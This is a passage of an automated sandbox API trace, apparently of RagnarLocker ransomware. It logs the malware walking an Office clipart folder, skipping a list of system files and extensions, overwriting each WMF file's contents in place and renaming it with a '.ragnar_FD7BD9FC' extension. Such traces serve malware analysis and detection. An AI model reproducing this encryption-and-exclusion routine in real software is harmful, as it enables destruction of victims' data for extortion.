lpString2="ntuser.dat.log") returned -1 [0082.511] lstrcmpiW (lpString1="HH00602_.WMF", lpString2="ntuser.ini") returned -1 [0082.511] lstrcmpiW (lpString1="HH00602_.WMF", lpString2="thumbs.db") returned -1 [0082.511] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.511] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.511] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.511] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.511] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.511] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.511] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x20 [0082.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.512] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1400) returned 1 [0082.512] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x56f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.512] GetProcessHeap () returned 0x580000 [0082.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.512] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.513] VirtualAlloc (lpAddress=0x0, dwSize=0x578, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.513] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.514] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.514] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x578, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x578, lpOverlapped=0x0) returned 1 [0082.514] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.514] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x578, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.514] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x578, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x578, lpOverlapped=0x0) returned 1 [0082.514] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x578, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.514] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.514] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x578, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.514] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.514] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.514] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.514] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.514] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.515] GetProcessHeap () returned 0x580000 [0082.515] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.515] CloseHandle (hObject=0xf4) returned 1 [0082.515] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" [0082.515] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.ragnar_FD7BD9FC" [0082.515] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.515] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aad3100, ftCreationTime.dwHighDateTime=0x1bd4b1b, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1aad3100, ftLastWriteTime.dwHighDateTime=0x1bd4b1b, nFileSizeHigh=0x0, nFileSizeLow=0x3158, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00612_.WMF", cAlternateFileName="")) returned 1 [0082.515] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.515] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00612_.WMF" | out: lpString1="HH00612_.WMF") returned="HH00612_.WMF" [0082.515] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned=".WMF" [0082.515] lstrcmpiW (lpString1="HH00612_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.515] lstrcmpiW (lpString1="HH00612_.WMF", lpString2="autorun.inf") returned 1 [0082.515] lstrcmpiW (lpString1="HH00612_.WMF", lpString2="boot.ini") returned 1 [0082.515] lstrcmpiW (lpString1="HH00612_.WMF", lpString2="bootfont.bin") returned 1 [0082.515] lstrcmpiW (lpString1="HH00612_.WMF", lpString2="bootsect.bak") returned 1 [0082.515] lstrcmpiW (lpString1="HH00612_.WMF", lpString2="bootmgr") returned 1 [0082.515] lstrcmpiW (lpString1="HH00612_.WMF", lpString2="bootmgr.efi") returned 1 [0082.516] lstrcmpiW (lpString1="HH00612_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.516] lstrcmpiW (lpString1="HH00612_.WMF", lpString2="desktop.ini") returned 1 [0082.516] lstrcmpiW (lpString1="HH00612_.WMF", lpString2="iconcache.db") returned -1 [0082.516] lstrcmpiW (lpString1="HH00612_.WMF", lpString2="ntldr") returned -1 [0082.516] lstrcmpiW (lpString1="HH00612_.WMF", lpString2="ntuser.dat") returned -1 [0082.516] lstrcmpiW (lpString1="HH00612_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.516] lstrcmpiW (lpString1="HH00612_.WMF", lpString2="ntuser.ini") returned -1 [0082.516] lstrcmpiW (lpString1="HH00612_.WMF", lpString2="thumbs.db") returned -1 [0082.516] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.516] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.516] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.516] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.516] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.516] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.516] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x20 [0082.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.517] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12632) returned 1 [0082.517] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x314f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.517] GetProcessHeap () returned 0x580000 [0082.517] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.517] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.518] VirtualAlloc (lpAddress=0x0, dwSize=0x3158, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.519] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.519] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.519] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3158, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3158, lpOverlapped=0x0) returned 1 [0082.520] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.520] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3158, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.520] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3158, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3158, lpOverlapped=0x0) returned 1 [0082.520] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3158, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.520] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.520] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3158, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.520] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.520] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.520] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.520] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.521] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.521] GetProcessHeap () returned 0x580000 [0082.521] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.521] CloseHandle (hObject=0xf4) returned 1 [0082.521] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" [0082.521] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.ragnar_FD7BD9FC" [0082.521] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.521] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98237200, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98237200, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x2994, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00623_.WMF", cAlternateFileName="")) returned 1 [0082.521] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.521] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00623_.WMF" | out: lpString1="HH00623_.WMF") returned="HH00623_.WMF" [0082.521] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned=".WMF" [0082.521] lstrcmpiW (lpString1="HH00623_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.521] lstrcmpiW (lpString1="HH00623_.WMF", lpString2="autorun.inf") returned 1 [0082.521] lstrcmpiW (lpString1="HH00623_.WMF", lpString2="boot.ini") returned 1 [0082.521] lstrcmpiW (lpString1="HH00623_.WMF", lpString2="bootfont.bin") returned 1 [0082.522] lstrcmpiW (lpString1="HH00623_.WMF", lpString2="bootsect.bak") returned 1 [0082.522] lstrcmpiW (lpString1="HH00623_.WMF", lpString2="bootmgr") returned 1 [0082.522] lstrcmpiW (lpString1="HH00623_.WMF", lpString2="bootmgr.efi") returned 1 [0082.522] lstrcmpiW (lpString1="HH00623_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.522] lstrcmpiW (lpString1="HH00623_.WMF", lpString2="desktop.ini") returned 1 [0082.522] lstrcmpiW (lpString1="HH00623_.WMF", lpString2="iconcache.db") returned -1 [0082.522] lstrcmpiW (lpString1="HH00623_.WMF", lpString2="ntldr") returned -1 [0082.522] lstrcmpiW (lpString1="HH00623_.WMF", lpString2="ntuser.dat") returned -1 [0082.522] lstrcmpiW (lpString1="HH00623_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.522] lstrcmpiW (lpString1="HH00623_.WMF", lpString2="ntuser.ini") returned -1 [0082.522] lstrcmpiW (lpString1="HH00623_.WMF", lpString2="thumbs.db") returned -1 [0082.522] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.522] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.522] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.522] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.522] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.522] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.522] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x20 [0082.522] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.522] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10644) returned 1 [0082.522] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x298b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.522] GetProcessHeap () returned 0x580000 [0082.522] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.523] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.524] VirtualAlloc (lpAddress=0x0, dwSize=0x2994, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.524] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.524] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.524] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2994, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2994, lpOverlapped=0x0) returned 1 [0082.525] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.525] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2994, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.525] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2994, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2994, lpOverlapped=0x0) returned 1 [0082.525] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2994, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.525] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.526] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.526] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.526] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.526] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.526] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.526] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.526] GetProcessHeap () returned 0x580000 [0082.526] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.526] CloseHandle (hObject=0xf4) returned 1 [0082.526] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" [0082.526] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.ragnar_FD7BD9FC" [0082.526] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.527] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b873a00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b873a00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x844, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00625_.WMF", cAlternateFileName="")) returned 1 [0082.527] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.527] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00625_.WMF" | out: lpString1="HH00625_.WMF") returned="HH00625_.WMF" [0082.527] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned=".WMF" [0082.527] lstrcmpiW (lpString1="HH00625_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.527] lstrcmpiW (lpString1="HH00625_.WMF", lpString2="autorun.inf") returned 1 [0082.527] lstrcmpiW (lpString1="HH00625_.WMF", lpString2="boot.ini") returned 1 [0082.527] lstrcmpiW (lpString1="HH00625_.WMF", lpString2="bootfont.bin") returned 1 [0082.527] lstrcmpiW (lpString1="HH00625_.WMF", lpString2="bootsect.bak") returned 1 [0082.527] lstrcmpiW (lpString1="HH00625_.WMF", lpString2="bootmgr") returned 1 [0082.527] lstrcmpiW (lpString1="HH00625_.WMF", lpString2="bootmgr.efi") returned 1 [0082.527] lstrcmpiW (lpString1="HH00625_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.527] lstrcmpiW (lpString1="HH00625_.WMF", lpString2="desktop.ini") returned 1 [0082.527] lstrcmpiW (lpString1="HH00625_.WMF", lpString2="iconcache.db") returned -1 [0082.527] lstrcmpiW (lpString1="HH00625_.WMF", lpString2="ntldr") returned -1 [0082.527] lstrcmpiW (lpString1="HH00625_.WMF", lpString2="ntuser.dat") returned -1 [0082.527] lstrcmpiW (lpString1="HH00625_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.527] lstrcmpiW (lpString1="HH00625_.WMF", lpString2="ntuser.ini") returned -1 [0082.527] lstrcmpiW (lpString1="HH00625_.WMF", lpString2="thumbs.db") returned -1 [0082.527] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.527] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.527] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.527] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.527] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.527] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.527] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x20 